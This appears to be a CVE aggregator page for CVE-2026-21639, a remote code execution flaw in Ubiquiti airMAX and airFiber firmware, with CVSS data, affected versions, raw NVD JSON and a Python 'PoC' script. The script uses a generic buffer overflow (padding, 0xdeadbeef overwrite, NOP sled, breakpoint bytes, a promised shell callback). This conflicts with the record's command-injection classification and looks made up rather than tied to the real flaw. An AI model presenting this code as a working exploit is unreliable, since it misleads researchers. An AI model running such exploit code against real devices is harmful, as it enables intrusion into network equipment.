Security Vulnerability Report
中文
CVE-2026-21639 CVSS 5.4 MEDIUM

CVE-2026-21639

Published: 2026-01-08 17:15:50
Last Modified: 2026-01-14 21:06:36

Description

A malicious actor in Wi-Fi range of the affected product could leverage a vulnerability in the airMAX Wireless Protocol to achieve a remote code execution (RCE) within the affected product. Affected Products: airMAX AC (Version 8.7.20 and earlier) airMAX M (Version 6.3.22 and earlier) airFiber AF60-XG (Version 1.2.2 and earlier) airFiber AF60 (Version 2.6.7 and earlier) Mitigation: Update your airMAX AC to Version 8.7.21 or later. Update your airMAX M to Version 6.3.24 or later. Update your airFiber AF60-XG to Version 1.2.3 or later. Update your airFiber AF60 to Version 2.6.8 or later.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:ui:airmax_ac_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ui:airmax_ac:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ui:airmax_m_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ui:airmax_m:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ui:airfiber_af60-xg_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ui:airfiber_af60-xg:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ui:airfiber_af60_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ui:airfiber_af60:-:*:*:*:*:*:*:* - NOT VULNERABLE
airMAX AC < 8.7.21 (受影响版本: 8.7.20及更早版本)
airMAX M < 6.3.24 (受影响版本: 6.3.22及更早版本)
airFiber AF60-XG < 1.2.3 (受影响版本: 1.2.2及更早版本)
airFiber AF60 < 2.6.8 (受影响版本: 2.6.7及更早版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-21639 PoC - airMAX Wireless Protocol RCE # Note: This PoC is for educational and authorized testing purposes only # Author: Security Research # Target: Ubiquiti airMAX devices import socket import struct import sys from scapy.all import * def create_malicious_packet(target_mac, protocol_version=8): """Create malicious airMAX protocol packet""" # airMAX protocol header structure header = b'\x41\x4d' # AM signature header += struct.pack('B', protocol_version) # Protocol version header += b'\x00\x00' # Flags header += target_mac # Target MAC address # Malicious payload - shellcode for reverse shell # This is a simplified representation shellcode = b'\x90' * 100 # NOP sled shellcode += b'\xcc' * 50 # Breakpoints for testing # Protocol-specific payload with overflow trigger payload = b'A' * 500 # Overflow buffer payload += struct.pack('<Q', 0xdeadbeef) # RIP overwrite packet = header + payload + shellcode return packet def send_exploit(target_ip, target_mac, interface='wlan0'): """Send exploit packet to target device""" print(f'[*] Targeting: {target_ip} ({target_mac})') print(f'[*] Interface: {interface}') # Craft malicious packet malicious_packet = create_malicious_packet(target_mac) # Send packet using scapy sendp(Ether(dst=target_mac)/Raw(load=malicious_packet), iface=interface, verbose=0) print('[+] Exploit packet sent successfully') print('[!] Check for shell callback on attacker listener') def main(): if len(sys.argv) < 3: print(f'Usage: {sys.argv[0]} <target_ip> <target_mac> [interface]') sys.exit(1) target_ip = sys.argv[1] target_mac = sys.argv[2] interface = sys.argv[3] if len(sys.argv) > 3 else 'wlan0' send_exploit(target_ip, target_mac, interface) if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21639", "sourceIdentifier": "[email protected]", "published": "2026-01-08T17:15:50.483", "lastModified": "2026-01-14T21:06:35.607", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A malicious actor in Wi-Fi range of the affected product could leverage a vulnerability in the airMAX Wireless Protocol to achieve a remote code execution (RCE) within the affected product.\r\n\r\n \r\n\r\nAffected Products:\r\n\r\nairMAX AC (Version 8.7.20 and earlier)\r\nairMAX M (Version 6.3.22 and earlier)\r\nairFiber AF60-XG (Version 1.2.2 and earlier)\r\nairFiber AF60 (Version 2.6.7 and earlier)\r\n\r\n \r\n\r\nMitigation:\r\n\r\nUpdate your airMAX AC to Version 8.7.21 or later.\r\nUpdate your airMAX M to Version 6.3.24 or later.\r\nUpdate your airFiber AF60-XG to Version 1.2.3 or later.\r\nUpdate your airFiber AF60 to Version 2.6.8 or later."}, {"lang": "es", "value": "Un actor malicioso dentro del alcance Wi-Fi del producto afectado podría aprovechar una vulnerabilidad en el Protocolo Inalámbrico airMAX para lograr una ejecución remota de código (RCE) dentro del producto afectado.\n\nProductos Afectados:\nairMAX AC (Versión 8.7.20 y anteriores)\nairMAX M (Versión 6.3.22 y anteriores)\nairFiber AF60-XG (Versión 1.2.2 y anteriores)\nairFiber AF60 (Versión 2.6.7 y anteriores)\n\nMitigación:\nActualice su airMAX AC a la Versión 8.7.21 o posterior.\nActualice su airMAX M a la Versión 6.3.24 o posterior.\nActualice su airFiber AF60-XG a la Versión 1.2.3 o posterior.\nActualice su airFiber AF60 a la Versión 2.6.8 o posterior."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ui:airmax_ac_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.7.21", "matchCriteriaId": "E6CAE32F-15CF-472D-9CB2-2B863A9FF429"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ui:airmax_ac:-:*:*:*:*:*:*:*", "matchCriteriaId": "D7522076-32AA-4C46-A383-55496EB8E403"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ui:airmax_m_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.3.24", "matchCriteriaId": "23228893-D868-4C84-82A8-3AAA30193F95"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ui:airmax_m:-:*:*:*:*:*:*:*", "matchCriteriaId": "22401E7D-9BB7-4015-A28B-1C134C429E56"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ui:airfiber_af60-xg_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.2.3", "matchCriteriaId": "C7197F20-55D0-4EF4-9C97-60A56E888427"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ui:airfiber_af60-xg:-:*:*:*:*:*:*:*", "matchCriteriaId": "AE317510-2899-438A-9C95-83A6C7FA1B2F"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ui:airfiber_af60_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.6.8", "matchCriteriaId": "F1C29843-49DD-4B68-89C6-14E3CFB70E62"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ui:airfiber_af60:-:*:*:*:*:*:*:*", "matchCriteriaId": "30F52A22-F069-426B-8664-E94E41E3863E"}]}]}], "references": [{"url": "https://community.ui.com/releases/Security-Advisory-Bulletin-061-061/1e4fe5f8-29c7-4a7d-a518-01b1537983ba", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}